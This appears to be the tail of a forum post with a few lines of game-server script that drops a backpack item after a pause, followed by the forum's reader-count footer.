exevent dropc #backpackid
wait 30
}
return





0 user(s) are reading this topic

0 members, 0 guests, 0 anonymous users